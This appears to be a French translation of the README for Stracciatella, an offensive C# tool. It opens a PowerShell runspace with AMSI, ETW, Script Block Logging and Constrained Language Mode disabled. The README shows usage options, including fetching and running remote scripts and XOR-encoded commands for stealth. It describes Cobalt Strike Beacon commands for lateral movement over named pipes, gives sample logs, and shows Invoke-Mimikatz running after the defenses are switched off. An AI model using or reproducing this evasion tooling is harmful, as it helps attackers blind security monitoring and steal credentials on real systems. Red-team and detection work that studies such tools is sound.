
Espace d'exécution PowerShell sûr pour l'OpSec depuis C# (alias SharpPick) avec AMSI, Mode Langage Contraint et Journalisation des blocs de scripts désactivés au démarrage
Espace d'exécution PowerShell depuis C# (alias technique SharpPick) avec AMSI, ETW et Script Block Logging désactivés pour votre confort.
De nos jours, alors que PowerShell est lourdement instrumenté par l'utilisation de techniques telles que :
Les attaquants avancés doivent trouver des moyens de contourner ces efforts afin de réaliser des exercices de simulation adversarial sophistiqués. Afin d'aider dans ces efforts, le projet suivant a été créé.
Ce programme s'appuie sur des contournements pour des techniques spécifiques incluses dans :
Qui s'appuient à leur tour sur les recherches suivantes :
L'idée de SharpPick, c'est-à-dire lancer des scripts PowerShell depuis un assembly C# via l'utilisation de Runspaces, n'est pas non plus nouvelle et a été implémentée pour la première fois par Lee Christensen (@tifkin_) dans son :
De plus, le code source emprunte l'implémentation de CustomPSHost de Lee.
Ce projet hérite des recherches ci-dessus et de la grande communauté de sécurité afin de fournir un environnement PowerShell quasi-efficace avec les défenses désactivées au démarrage.
Se compile maintenant facilement avec .NET 4.0 tandis que s'il est compilé avec .NET Framework 4.7.1+, une fonctionnalité supplémentaire est incluse qui permet de décharger les DLL constituant les artefacts de contournement du CLM et tente de les supprimer ensuite (difficile à faire fonctionner honnêtement).
Le meilleur rendement est obtenu avec Stracciatella compilé avec .NET 4.0.
Il y a plusieurs options disponibles :
PS D:\> Stracciatella -h
:: Stracciatella - Powershell runspace avec AMSI, ETW et Script Block Logging désactivés.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
Usage: stracciatella.exe [options] [command]
-s <chemin>, --script <chemin> - Chemin vers le fichier contenant le script PowerShell à exécuter. Si aucune option n'est donnée, entrera
dans une boucle pseudo-shell. Cela peut aussi être une URL HTTP(S) pour télécharger et exécuter un script powershell.
-v, --verbose - Affiche des informations détaillées
-n, --nocleanup - Ne pas supprimer les restes de désactivation du CLM (fichiers DLL dans TEMP et clés de registre COM).
Par défaut, ils seront toujours supprimés.
-C, --leaveclm - Ne pas tenter de désactiver le CLM. Plus discret. Évitera de laisser des artefacts de désactivation du CLM non supprimés.
-f, --force - Poursuivre l'exécution même si les défenses PowerShell n'ont pas été désactivées.
Par défaut, on abandonne en cas d'échec.
-c, --command - Exécute les commandes spécifiées. Vous pouvez soit utiliser -c, soit ajouter des commandes après
les paramètres de stracciatella : cmd> straciatella ipconfig /all
Si les paramètres de commande et de script sont donnés, exécute la commande après avoir exécuté le script.
-x <clé>, --xor <clé> - Considère l'entrée comme codée en XOR, où <clé> est une clé d'un octet en décimal
(préfixez avec 0x pour l'hexadécimal)
-p <nom>, --pipe <nom> - Lire les commandes powershell à partir d'un tube nommé spécifié. La commande doit être précédée de 4 octets de
sa longueur codée en little-endian (notation Longueur-Valeur).
-t <millisecs>, --timeout <millisecs>
- Spécifie le délai d'attente pour l'opération de lecture du tube (en millisecondes). Par défaut : 60 sec. 0 - illimité.
-e, --cmdalsoencoded - Considère également la commande d'entrée (spécifiée dans '--command') comme encodée.
Décode la commande d'entrée après décodage et exécution du fichier script d'entrée.
Par défaut, nous décodons uniquement le fichier d'entrée et considérons la commande donnée en texte clair
Le programme accepte une commande et un chemin de fichier script en entrée. Les deux sont optionnels, si aucun n'est donné - un pseudo-shell sera démarré. La commande et le script peuvent être encodés en utilisant XOR sur un octet (produira une sortie encodée en Base64) pour une meilleure expérience OpSec.
Voici quelques exemples présentant des cas d'utilisation :
PS D:\> Stracciatella.exe -v
:: Stracciatella - Powershell runspace avec AMSI, ETW et Script Block Logging désactivés.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Version de PowerShell : 5.1
[.] Mode de langage : FullLanguage
[+] Pas besoin de désactiver le mode de langage contraint. Déjà en FullLanguage.
[+] Script Block Logging désactivé.
[+] AMSI désactivé.
[+] ETW désactivé.
Stracciatella D:\> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
Tout d'abord, pour préparer les instructions encodées, nous pouvons utiliser le script encoder.py fourni, qui peut être utilisé comme suit :
PS D:\> python encoder.py -h
usage: encoder.py [options] <commande|fichier>
positional arguments:
command Spécifie soit une commande, soit le chemin d'un fichier script à encoder
optional arguments:
-h, --help affiche ce message d'aide et quitte
-x KEY, --xor KEY Spécifie la clé de codage XOR de la commande/fichier (un octet)
-o PATH, --output PATH
(optionnel) Fichier de sortie. S'il n'est pas donné, affichera la sortie sur stdout
PS D:\> python encoder.py -x 0x31 "Write-Host \"Ça marche comme un charme!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU
Ensuite, nous fournissons la sortie de encoder.py comme entrée étant une commande encodée pour Stracciatella :
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1
:: Stracciatella - Powershell runspace avec AMSI, ETW et Script Block Logging désactivés.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Chargement du fichier script : '.\Test2.ps1'
[+] AMSI désactivé.
[+] ETW désactivé.
[+] Script Block Logging désactivé.
[.] Mode de langage : FullLanguage
PS> & '.\Test2.ps1'
PS> Write-Host "Ça marche comme un charme!" ; $ExecutionContext.SessionState.LanguageMode
[+] Ouii, ça a vraiment marché.
Ça marche comme un charme!
FullLanguage
Où :
Command a été construite à partir des commandes suivantes : Base64Encode(XorEncode("Write-Host \"Ça marche comme un charme!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))Test2.ps1 - contient : "ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Ouii, ça a vraiment marché.\"", 0x31)))Stracciatella est livré avec un script Aggressor qui, une fois chargé, expose la commande stracciatella dans la console Beacon. L'utilisation est assez similaire à powerpick (en important au préalable les scripts powershell via stracciatella-import). Le paramètre d'entrée sera xoré avec une clé aléatoire et passé via un tube nommé aléatoirement vers l'espace d'exécution de Stracciatella.
Les commandes Cobalt Strike suivantes sont disponibles :
L'une des stratégies pour travailler avec Stracciatella pourrait être de configurer un délai d'attente de lecture du tube suffisamment long (1), de le lancer sur une machine distante (2) ayant ainsi une option pour un mouvement latéral via un tube nommé avec un peu d'aide de Stracciatella.
L'avantage par rapport à powerpick est que Stracciatella ne patche pas AMSI.dll de la manière dont Powerpick le fait (patch AmsiScanBuffer), générant ainsi potentiellement moins de bruit médico-légal tel que vu par les EDR qui recherchent des patchs en mémoire. De plus, Stracciatella pourra éventuellement contourner de manière stable le Mode de langage contraint qui n'est actuellement pas possible avec powerpick. :
beacon> stracciatella-import PowerView.ps1
[+] host called home, sent: 143784 bytes
beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:
Forest : contoso.local
DomainControllers : {dc.contoso.local}
Children : {us.eu.contoso.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent : contoso.local
PdcRoleOwner : dc.eu.contoso.local
RidRoleOwner : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name : eu.contoso.local
Enfin, Stracciatella peut être facilement utilisé par d'autres outils/C2 qui n'offrent aucune fonctionnalité pour contourner les protections PowerShell.
Chaque fois que stracciatella renvoie l'erreur 2 (ERROR_FILE_NOT_FOUND), c'est parce que Stracciatella a expiré en attendant en interne que des données soient écrites dans son tube nommé.
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 03:32:50] host called home, sent: 1007245 bytes
[+] [11/02 03:33:13] host called home, sent: 191805 bytes
[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.
Cependant, cela peut être corrigé en ajustant le paramètre de délai d'attente de Stracciatella en utilisant :
beacon> stracciatella-timeout 600000
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 04:01:11] host called home, sent: 1007265 bytes
[+] [11/02 04:01:33] host called home, sent: 191805 bytes
[+] received output:
ComputerName IPAddress
------------ ---------
dc1.bank.corp 10.10.10.5
Le script aggressor associé exploite les routines internes de Beacon pour écrire dans un tube nommé aléatoire, qui sera écouté de l'autre côté par la logique de Stracciatella. L'extrémité réceptrice attendra les données entrantes pendant une certaine période (--timeout dans les options de Stracciatella, par défaut 60 secondes) et si aucune donnée n'arrive, expirera et abandonnera en douceur. Sinon, les commandes reçues seront décodées et exécutées comme d'habitude.
Parfois, nous avons des scripts PowerShell qui n'exposent aucune fonction ou ne chargent pas de manière réflexive des modules .NET que nous souhaiterions invoquer à partir d'un runtime PowerShell. Pour faciliter ce cas d'utilisation, la commande Beacon stracciatella-script <chemin_script> <commande peut être utilisée. Elle lit le fichier script PowerShell spécifié et ajoute la <commande> donnée séparée par un point-virgule à ce script.
Le script Aggressor (CNA) de Stracciatella détecte si BOF.NET est chargé et, si c'est le cas, expose une commande :
bofnet_loadstracciatella
Qui émet bofnet_load stracciatella.exe. De plus, Stracciatella s'exécutera ensuite via bofnet_jobassembly au lieu de l'execute-assembly intégré de Cobalt.
Ce comportement est ajustable en modifiant la variable globale dans le script stracciatella.cna :
#
# S'il y a BOF.NET chargé dans Cobalt Strike, préférer la commande `bofnet_jobassembly` à `execute-assembly`.
# Ceci est utile lorsque nous voulons changer nos tactiques pour exécuter en ligne/dans le processus via BOF.NET au lieu de fork & run.
#
$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";
Par l'utilisation de la réflexion, comme découvert par Matt Graeber, mais l'approche de ce programme a été légèrement modifiée. Au lieu de se référer aux symboles par leur nom, comme "amsiInitFailed" - nous les recherchons en parcourant chaque Assembly, Méthode, Type et Champ disponible pour être récupéré par réflexion. Ensuite, nous désactivons AMSI par la manipulation de variables NonPublic et Static dans l'assembly Management.Automation. Il en va de même pour Script Block Logging, alors que dans ce cas, certaines idées étaient basées sur les recherches de Ryan Cobb (@cobbr).
En fait, Stracciatella utilise la même implémentation que celle déjà couverte dans les fichiers Disable-*.ps1 mentionnés ci-dessus.
De plus, nous ne tentons pas de patcher amsi.dll, c'est un peu trop bruyant et pourrait être étroitement surveillé dans un avenir proche par les EDR/HIPS/AV. Corrompre l'intégrité des bibliothèques système perd certainement du terrain par rapport à la modification des variables réflectives.
Invoke-Mimikatz, voulez-vous ?Bien sûr, voilà :
PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
Ce script contient du contenu malveillant et a été bloqué par votre logiciel antivirus.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
Ce script contient du contenu malveillant et a été bloqué par votre logiciel antivirus.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> .\Stracciatella.exe -v
:: Stracciatella - Powershell runspace avec AMSI et Script Block Logging désactivés.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[-] Il semble qu'aucun chemin de script n'ait été donné.
[+] AMSI désactivé.
[+] ETW désactivé.
[+] Script Block Logging désactivé.
[.] Mode de langage : FullLanguage
Stracciatella D:\> . .\Invoke-Mimikatz.ps1
Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # coffee
( (
) )
.______.
| |]
\ /
`----'
mimikatz(powershell) # exit
Bye!
Actuellement, la façon dont Stracciatella fournit l'espace d'exécution pour les commandes powershell n'est pas la plus furtive. Nous créons essentiellement un espace d'exécution PowerShell, qui charge l'assembly .NET correspondant. Cela peut être considéré comme un indicateur que le processus de stracciatella est un peu louche.
Ce projet et d'autres sont le fruit de nuits blanches et de beaucoup de travail acharné. Si vous aimez ce que je fais et que vous appréciez que je donne toujours en retour à la communauté, Envisagez de m'offrir un café (ou plutôt une bière) juste pour dire merci ! 💪
Mariusz Banach / mgeeky, '20-22
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)
| Commande Cobalt Strike | Description |
|---|
stracciatella [-v] <commande> | exécute les commandes données |
stracciatella-remote [-v] <machine> <nomtube> <commande> | exécute les commandes données sur une machine distante sur le tube spécifié |
stracciatella-import <chemin_script> | importe un script powershell pour une utilisation avec Stracciatella |
stracciatella-script <chemin_script> <commande> | précharge une commande Powershell avec un script Powershell (ps1) spécifié (combinaison de stracciatella-import et stracciatella en une seule opération) |
stracciatella-clear | efface le script importé sur ce Beacon |
stracciatella-timeout <millisecondes> | ajuste le délai d'attente de lecture du tube nommé par défaut |
bofnet_loadstracciatella | charge Stracciatella.exe dans BOF.NET (s'il est utilisé) |
bofnet_stracciatella <commande> | (non bloquant) Exécute des commandes Powershell dans un espace d'exécution sécurisé Stracciatella via BOF.NET bofnet_jobassembly |
bofnet_executestracciatella <commande> | (bloquant) Exécute des commandes Powershell dans un espace d'exécution sécurisé Stracciatella via BOF.NET bofnet_executeassembly |
bofnet_stracciatella_script <chemin_script> <commande> | Précharge un script Powershell spécifié et lance la commande donnée avec des paramètres (via BOF.NET) |